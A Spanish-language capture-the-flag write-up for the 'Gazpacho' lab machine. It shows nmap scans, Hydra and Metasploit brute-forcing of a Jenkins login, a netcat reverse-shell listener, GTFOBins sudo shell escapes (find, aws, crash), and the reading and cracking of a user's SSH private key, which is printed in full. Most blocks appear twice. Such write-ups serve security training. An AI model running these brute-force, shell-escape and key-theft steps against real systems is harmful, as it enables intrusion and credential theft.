Thehackerslabs machines - Gazpacho Writeup

Gazpacho es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Avanzado.

En este caso se trata de una máquina basada en el Sistema Operativo Linux.

Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.100

└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.100                                                                         
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-29 20:32 CEST
Initiating ARP Ping Scan at 20:32
Scanning 192.168.0.100 [1 port]
Completed ARP Ping Scan at 20:32, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:32
Scanning 192.168.0.100 [65535 ports]
Discovered open port 80/tcp on 192.168.0.100
Discovered open port 22/tcp on 192.168.0.100
Discovered open port 8080/tcp on 192.168.0.100
Completed SYN Stealth Scan at 20:32, 3.27s elapsed (65535 total ports)
Nmap scan report for 192.168.0.100
Host is up, received arp-response (0.00019s latency).
Scanned at 2024-04-29 20:32:24 CEST for 3s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
80/tcp   open  http       syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 64
MAC Address: 08:00:27:81:A8:E9 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.100

[sudo] password for kali:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-29 20:32 CEST

Initiating ARP Ping Scan at 20:32

Scanning 192.168.0.100 [1 port]

Completed ARP Ping Scan at 20:32, 0.07s elapsed (1 total hosts)

Initiating SYN Stealth Scan at 20:32

Scanning 192.168.0.100 [65535 ports]

Discovered open port 80/tcp on 192.168.0.100

Discovered open port 22/tcp on 192.168.0.100

Discovered open port 8080/tcp on 192.168.0.100

Completed SYN Stealth Scan at 20:32, 3.27s elapsed (65535 total ports)

Nmap scan report for 192.168.0.100

Host is up, received arp-response (0.00019s latency).

Scanned at 2024-04-29 20:32:24 CEST for 3s

Not shown: 65532 closed tcp ports (reset)

PORT STATE SERVICE REASON

22/tcp open ssh syn-ack ttl 64

80/tcp open http syn-ack ttl 64

8080/tcp open http-proxy syn-ack ttl 64

MAC Address: 08:00:27:81:A8:E9 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds

Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sCV -p22,80,8080 192.168.0.100                    
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-30 00:19 CEST
Nmap scan report for staging-env.boxing.hmv (192.168.0.100)
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Login
8080/tcp open  http    Jetty 10.0.20
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.20)
MAC Address: 08:00:27:81:A8:E9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds

┌──(kali㉿kali)-[~]

└─$ sudo nmap -sCV -p22,80,8080 192.168.0.100

[sudo] password for kali:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-30 00:19 CEST

Nmap scan report for staging-env.boxing.hmv (192.168.0.100)

Host is up (0.00042s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)

| ssh-hostkey:

| 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)

|_ 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)

80/tcp open http Apache httpd 2.4.57 ((Debian))

|_http-server-header: Apache/2.4.57 (Debian)

|_http-title: Login

8080/tcp open http Jetty 10.0.20

|_http-title: Site doesn't have a title (text/html;charset=utf-8).

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: Jetty(10.0.20)

MAC Address: 08:00:27:81:A8:E9 (Oracle VirtualBox virtual NIC)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds

Entramos por el puerto 80 , no vemos nada con dirb y al intentar poner unas credenciales, nos manda a login.php con un 404 así que por aquí no miramos

Entrando por el puerto 8080, vemos un panel de login para Jenkins

A simple vista no vemos nada, ni son las tipicas admin:admin así que lo primero en hacer va a ser fuerza bruta al usuario que por defecto es admin. ( En este caso como el path es por aquí , mostraremos 2 formas de hacerlo, tanto por metasploit como por hydra )

Hydra

┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P techrock gazpacho.thl -s 8080 http-post-form "/j_spring_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=:loginError"

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-29 23:48:09
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:1/p:50), ~4 tries per task
[DATA] attacking http-post-form://gazpacho.thl:8080/j_spring_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=:loginError
[8080][http-post-form] host: gazpacho.thl   login: admin   password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-29 23:48:12

┌──(kali㉿kali)-[~]

└─$ hydra -l admin -P techrock gazpacho.thl -s 8080 http-post-form "/j_spring_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=:loginError"

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-29 23:48:09

[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:1/p:50), ~4 tries per task

[DATA] attacking http-post-form://gazpacho.thl:8080/j_spring_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=:loginError

[8080][http-post-form] host: gazpacho.thl login: admin password: 12345

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-29 23:48:12

Metasploit

msf6 > use auxiliary/scanner/http/jenkins_login
show options
set rhosts 192.168.0.100
set lhost msf6 auxiliary(scanner/http/jenkins_login) > show options

Module options (auxiliary/scanner/http/jenkins_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted
                                                : none, user, user&realm)
   HTTP_METHOD       POST             yes       The HTTP method to use for the login (Accepted: GET, POST)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-met
                                                asploit/basics/using-metasploit.html
   RPORT             8080             yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   TARGETURI                          no        The path to the Jenkins-CI application
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair p
                                                er line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/jenkins_login) > set rhosts 192.168.0.100
rhosts => 192.168.0.100
msf6 auxiliary(scanner/http/jenkins_login) > set lhost 192.168.0.160
lhost => 192.168.0.160
msf6 auxiliary(scanner/http/jenkins_login) > set PASS_FILE /home/kali/top12000.txt
PASS_FILE => /home/kali/top12000.txt
msf6 auxiliary(scanner/http/jenkins_login) > set username admin 
username => admin
msf6 auxiliary(scanner/http/jenkins_login) > run


[!] No active DB -- Credential data will not be saved!
[-] 192.168.0.100:8080 - LOGIN FAILED: admin:123456 (Incorrect)
[-] 192.168.0.100:8080 - LOGIN FAILED: admin:password (Incorrect)
[-] 192.168.0.100:8080 - LOGIN FAILED: admin:123456789 (Incorrect)
[-] 192.168.0.100:8080 - LOGIN FAILED: admin:12345678 (Incorrect)
[+] 192.168.0.100:8080 - Login Successful: admin:12345
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 > use auxiliary/scanner/http/jenkins_login

show options

set rhosts 192.168.0.100

set lhost msf6 auxiliary(scanner/http/jenkins_login) > show options

Module options (auxiliary/scanner/http/jenkins_login):

Name Current Setting Required Description

---- --------------- -------- -----------

BLANK_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted

: none, user, user&realm)

HTTP_METHOD POST yes The HTTP method to use for the login (Accepted: GET, POST)

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-met

asploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

TARGETURI no The path to the Jenkins-CI application

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair p

er line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/jenkins_login) > set rhosts 192.168.0.100

rhosts => 192.168.0.100

msf6 auxiliary(scanner/http/jenkins_login) > set lhost 192.168.0.160

lhost => 192.168.0.160

msf6 auxiliary(scanner/http/jenkins_login) > set PASS_FILE /home/kali/top12000.txt

PASS_FILE => /home/kali/top12000.txt

msf6 auxiliary(scanner/http/jenkins_login) > set username admin

username => admin

msf6 auxiliary(scanner/http/jenkins_login) > run

[!] No active DB -- Credential data will not be saved!

[-] 192.168.0.100:8080 - LOGIN FAILED: admin:123456 (Incorrect)

[-] 192.168.0.100:8080 - LOGIN FAILED: admin:password (Incorrect)

[-] 192.168.0.100:8080 - LOGIN FAILED: admin:123456789 (Incorrect)

[-] 192.168.0.100:8080 - LOGIN FAILED: admin:12345678 (Incorrect)

[+] 192.168.0.100:8080 - Login Successful: admin:12345

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Una vez ya entramos con estas credenciales, vemos el dashboard

Desde aquí nos dirigimos a -> Manage Jenkins -> Script Console para lanzar nuestra reverse shell

Nos ponemos en escucha en nuestra maquina y nos llega con el usuario jenkins.

┌──(root㉿kali)-[/home/kali]
└─# nc -vnlp 5555
listening on [any] 5555 ...
connect to [192.168.0.160] from (UNKNOWN) [192.168.0.100] 51098
id
uid=103(jenkins) gid=112(jenkins) grupos=112(jenkins)

┌──(root㉿kali)-[/home/kali]

└─# nc -vnlp 5555

listening on [any] 5555 ...

connect to [192.168.0.160] from (UNKNOWN) [192.168.0.100] 51098

uid=103(jenkins) gid=112(jenkins) grupos=112(jenkins)

Vemos los usuarios que tiene el sistema

jenkins@gazpacho:~$ cat /etc/passwd |grep sh$
root:x:0:0:root:/root:/bin/bash
pimiento:x:1001:1001::/home/pimiento:/bin/bash
cebolla:x:1002:1002::/home/cebolla:/bin/bash
tomate:x:1003:1003::/home/tomate:/bin/bash
ajo:x:1004:1004::/home/ajo:/bin/bash
pepino:x:1005:1005::/home/pepino:/bin/bash
jenkins:x:103:112:Jenkins,,,:/var/lib/jenkins:/bin/bash

jenkins@gazpacho:~$ cat /etc/passwd |grep sh$

root:x:0:0:root:/root:/bin/bash

pimiento:x:1001:1001::/home/pimiento:/bin/bash

cebolla:x:1002:1002::/home/cebolla:/bin/bash

tomate:x:1003:1003::/home/tomate:/bin/bash

ajo:x:1004:1004::/home/ajo:/bin/bash

pepino:x:1005:1005::/home/pepino:/bin/bash

jenkins:x:103:112:Jenkins,,,:/var/lib/jenkins:/bin/bash

Ejecutamos sudo -l para ver si tenemos privilegio de algún binario para con ejecución con otro usuario

jenkins@gazpacho:~$ sudo -l
Matching Defaults entries for jenkins on gazpacho:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User jenkins may run the following commands on gazpacho:
    (ajo) NOPASSWD: /usr/bin/find

jenkins@gazpacho:~$ sudo -l

Matching Defaults entries for jenkins on gazpacho:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

use_pty

User jenkins may run the following commands on gazpacho:

(ajo) NOPASSWD: /usr/bin/find

Así que viendo gtfobins, lo explotamos para escalar al usuario ajo

jenkins@gazpacho:~$ sudo -u ajo  /usr/bin/find . -exec /bin/sh \; -quit
$ id
uid=1004(ajo) gid=1004(ajo) grupos=1004(ajo)
$ bash -i
ajo@gazpacho:/var/lib/jenkins$

jenkins@gazpacho:~$ sudo -u ajo /usr/bin/find . -exec /bin/sh \; -quit

$ id

uid=1004(ajo) gid=1004(ajo) grupos=1004(ajo)

$ bash -i

ajo@gazpacho:/var/lib/jenkins$

Volvemos a ejecutar sudo -l

ajo@gazpacho:/var/lib/jenkins$ sudo -l
Matching Defaults entries for ajo on gazpacho:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User ajo may run the following commands on gazpacho:
    (cebolla) NOPASSWD: /usr/bin/aws

ajo@gazpacho:/var/lib/jenkins$ sudo -l

Matching Defaults entries for ajo on gazpacho:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

use_pty

User ajo may run the following commands on gazpacho:

(cebolla) NOPASSWD: /usr/bin/aws

Revisamos en gtfobins lo mismo para escalar a cebolla

ajo@gazpacho:/var/lib/jenkins$ sudo -u cebolla /usr/bin/aws help

!/bin/bash

cebolla@gazpacho:/var/lib/jenkins$

ajo@gazpacho:/var/lib/jenkins$ sudo -u cebolla /usr/bin/aws help

!/bin/bash

cebolla@gazpacho:/var/lib/jenkins$

Una vez mas, ejecutamos sudo -l

cebolla@gazpacho:/var/lib/jenkins$ sudo -l
Matching Defaults entries for cebolla on gazpacho:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User cebolla may run the following commands on gazpacho:
    (pimiento) NOPASSWD: /usr/bin/crash

cebolla@gazpacho:/var/lib/jenkins$ sudo -l

Matching Defaults entries for cebolla on gazpacho:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

use_pty

User cebolla may run the following commands on gazpacho:

(pimiento) NOPASSWD: /usr/bin/crash

Miramos gtfobins para ver que podemos hacer

cebolla@gazpacho:/var/lib/jenkins$ sudo -u pimiento /usr/bin/crash -h

!/bin/bash

pimiento@gazpacho:~$

cebolla@gazpacho:/var/lib/jenkins$ sudo -u pimiento /usr/bin/crash -h

!/bin/bash

pimiento@gazpacho:~$

Y para variar, volvemos a probar con sudo -l

pimiento@gazpacho:~$ sudo -l
Matching Defaults entries for pimiento on gazpacho:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User pimiento may run the following commands on gazpacho:
    (pepino) NOPASSWD: /usr/bin/cat

pimiento@gazpacho:~$ sudo -l

Matching Defaults entries for pimiento on gazpacho:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

use_pty

User pimiento may run the following commands on gazpacho:

(pepino) NOPASSWD: /usr/bin/cat

Dado que el binario es cat y lo que parece es que tenemos que leer un fichero del usuario pepino, suponemos que será la id_rsa asi que probamos

pimiento@gazpacho:~$ sudo -u pepino /usr/bin/cat /home/pepino/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
Yu4VzXUDH0NjNESpnveBQdggNfo=
-----END OPENSSH PRIVATE KEY-----

pimiento@gazpacho:~$ sudo -u pepino /usr/bin/cat /home/pepino/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABByoG7nEe

i6bVAeUyaAW33NAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQCjSEKtLfaQ

PlKZ2sKgG6RrE1KxzerLgT2JiTOcYIC5CNgV+zUinlgKtaneZaHxhJJNDG5ZbrrrUtz06B

hcFVXjwHIKxN3ChJgO3WB3Gyt9kf48uj1+lOUieHodqXkykr7j4HVtmBBE2J3bnVno3s2j

AuvelG4cUFSpVPqHUS0K5aoIOwkAwJ+mKzguSr3Kkso0o/U30kA2cxArlP+msgbQQ/BXeP

MpjwhXFidE/7mDd6rEjRiraCusrmVlE/wTF/s/Z3KLDnWnvPlVsrLJARbJXpCmyzRewTZl

D/B43jSilpRQvP4yzjMlSwbuXptl/Owq+kIknI2zaKkoxgMvb4+l3fW7Zxmj6BKZvOQ1MY

19zZwI122nabbonqX8zUrtGPUpLoLZtncC2OMegnmdarMReOYzgabptHvIURJTkYDizIHG

0egzH/3QgQBkaEUoZyKhU//wdmCYhpf/WYBoD0cn6LZgcD4pOzOc4ANHjGcEFIsYHYuDbl

w8yT65Oe0hlGcAAAWQrbT+c6sKt9uMmuvUGZIhAWqt96uU5XO7mbq2UdYefqVcGCG5lDev

1rxOni3NZJLVeIj6zkwzmdgaicjOV7W3iyEK3WL014oGfaHSYhNxk80UQyIfpV+UcnE6cR

oAXzGWLXRtJJKwPHTiB46JG6YiO4RbpsnNkgmF3YirEeF/X0Seok2oDWELwJTXBpqdZXWk

N+gi0ShvZVoo9AadJpGMbPShqaLWfUdJkjumoC+4887V1mGh8t5HSHuh41ay6a+xeTOMjD

Kd5qRP+PQucglDg2b3tcMykD9jEFrhWVFK+0iS5KMa7Xu2+4+1ku98lLzZi5Wm221SBga2

5vVRDDiUoToG9OWld/TuhCGvlJDFq1kM6yWNjvwLF6wHT/k0NG6iNJhE6wNx7wCYwCCPC4

9cwWIXfxMHI5ZZXqAZayTtOi3MyrvDvuFSnmI8RC4krDKESwFHigYYmdGta1RVG6JiEZvA

KRQKASGxZX1Zs3NGHlvpLfYlwAPmn6N5x1GhcKt+xjX4Dvb572ecJnorZbea/OXYOphaA6

YfxiQhDgokT8hS0KZKeU7OwbREXf4VZpZKZ4r+Mey4M8OYR3auKBl5T1IjakLY1C+besfe

7dU2rnF0AHBvIqV7dHlIfuSM6B/RA+MyfkyhL9qdRnBtuGPeg02+YJY7FvyGQDrF598iUa

+d5KmgaPFmmGY2J/F7J1exwur963D7NThdAsoMTi3FisTftq2/1HUwsFQU/CbdxaYaogr3

yKX7lHk7Hi9CZrrPNr7hpyamoYQiZUlwsFA3aFM4MhuVkKg1mLqP/yWOh8i2/XNTNw3mtf

NO6gmVDx6k6LLAkDjVBbMsp1unxQ/caolat4HvNVDtmki7Pf8SI/HWO8zuupm2f2CY4pxj

m1FnYuqKtxH4yKryhQlyvxINO84CBZRn4WsszsL2PydGLdhmGqbHG6uFic36iMaZpawkCY

V4y9FbhPQZ0PC07yo3ZdN/bLOwM/8+dLAo3lsg2mjJ2dR1jOJuIA2nwsKcqIkEFFzpBvIe

fV5Pk7rzS0o+eqJjhfbWp6WIWb5KiNFpCgNjgXm82+3v0dY7REc97vGzdL/F7qAxFzP+JZ

ZjG0XYJOHKo7VJFXVHs2145YaXwpXfDHTRMNJJoA6KRTnMouwbarlLp53c4k39V3SE7dNP

epbbVm87dXTqjCTutHiL38apV9laav3/locvcCaXVFulNSWAgI+aPG7vt5ehoCu0NL1FJa

Re5fByYwzED+UwxzZjtAbAO4eNC7o09ooX+WuHEachP8NjGiyS7be0zBVLn63AjDpg60x4

Tp20RXqiBfCqlqNvTF3v2THP6+IcXNGch9Xwd7CfZnSD19cCslwcsNHw2hOVbLon2gZhnG

gXdAw1wDvFGOpZxgJrhFLswir4YNarW0AoI/Eqny3jbt/P5uBCwpxFns7JVXyFS3fSQdB5

ypO6lglZDk2ze0Aqt57XzU8sfgG1O3M44aPNhJpWGFOP5tnm/JwpHEVnhBRrqLWF2MFmOm

ol4ry6VDP93AMGulxN3VczOlPZbwg1qkWqxRjSuOh7LcgY5XS1ZnZblxI5kIVVme/a1DNJ

xZzkPrtxQNtbdje1RzG6JvbjuXroTAj+GI6wROBjsphzdg5aO2oLYpjGk8X30JrL/nWRCz

v34/7z2oLisSqCEhpcYBmrSZ9H0CWgiD4UvLnPoLlGRsCLva6wgqJXCCVqXshozsnuKLuM

WKVOp/8WcqKUovN4GxYefsL4ZUNcLn91JKSyAZ+sKklBOWe2QuPFrHOk3CN4Xp/7oyGY54

poY0n6L0nm2PLRKGJmjxLPx9n7gBh5w90SDICgUTcF09ZcTpW/YqnmIE/4Jb4+0IgrQnbW

Yu4VzXUDH0NjNESpnveBQdggNfo=

-----END OPENSSH PRIVATE KEY-----

Nos la pasamos a nuestra maquina y dado que esta encriptada, usamos ssh2john para sacar el hash y john para crackearla

┌──(kali㉿kali)-[~]
└─$ ssh2john id_rsa > hash

└─$ john --wordlist=techyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:17 40.71% (ETA: 21:03:39) 0g/s 14.88p/s 14.88c/s 14.88C/s slimshady..aries
mittens          (id_rsa)     
1g 0:00:02:47 DONE (2024-04-29 21:00) 0.005973g/s 15.00p/s 15.00c/s 15.00C/s shamrock..jeffhardy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(kali㉿kali)-[~]

└─$ ssh2john id_rsa > hash

└─$ john --wordlist=techyou.txt hash

Using default input encoding: UTF-8

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])

Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes

Cost 2 (iteration count) is 16 for all loaded hashes

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:02:17 40.71% (ETA: 21:03:39) 0g/s 14.88p/s 14.88c/s 14.88C/s slimshady..aries

mittens (id_rsa)

1g 0:00:02:47 DONE (2024-04-29 21:00) 0.005973g/s 15.00p/s 15.00c/s 15.00C/s shamrock..jeffhardy

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

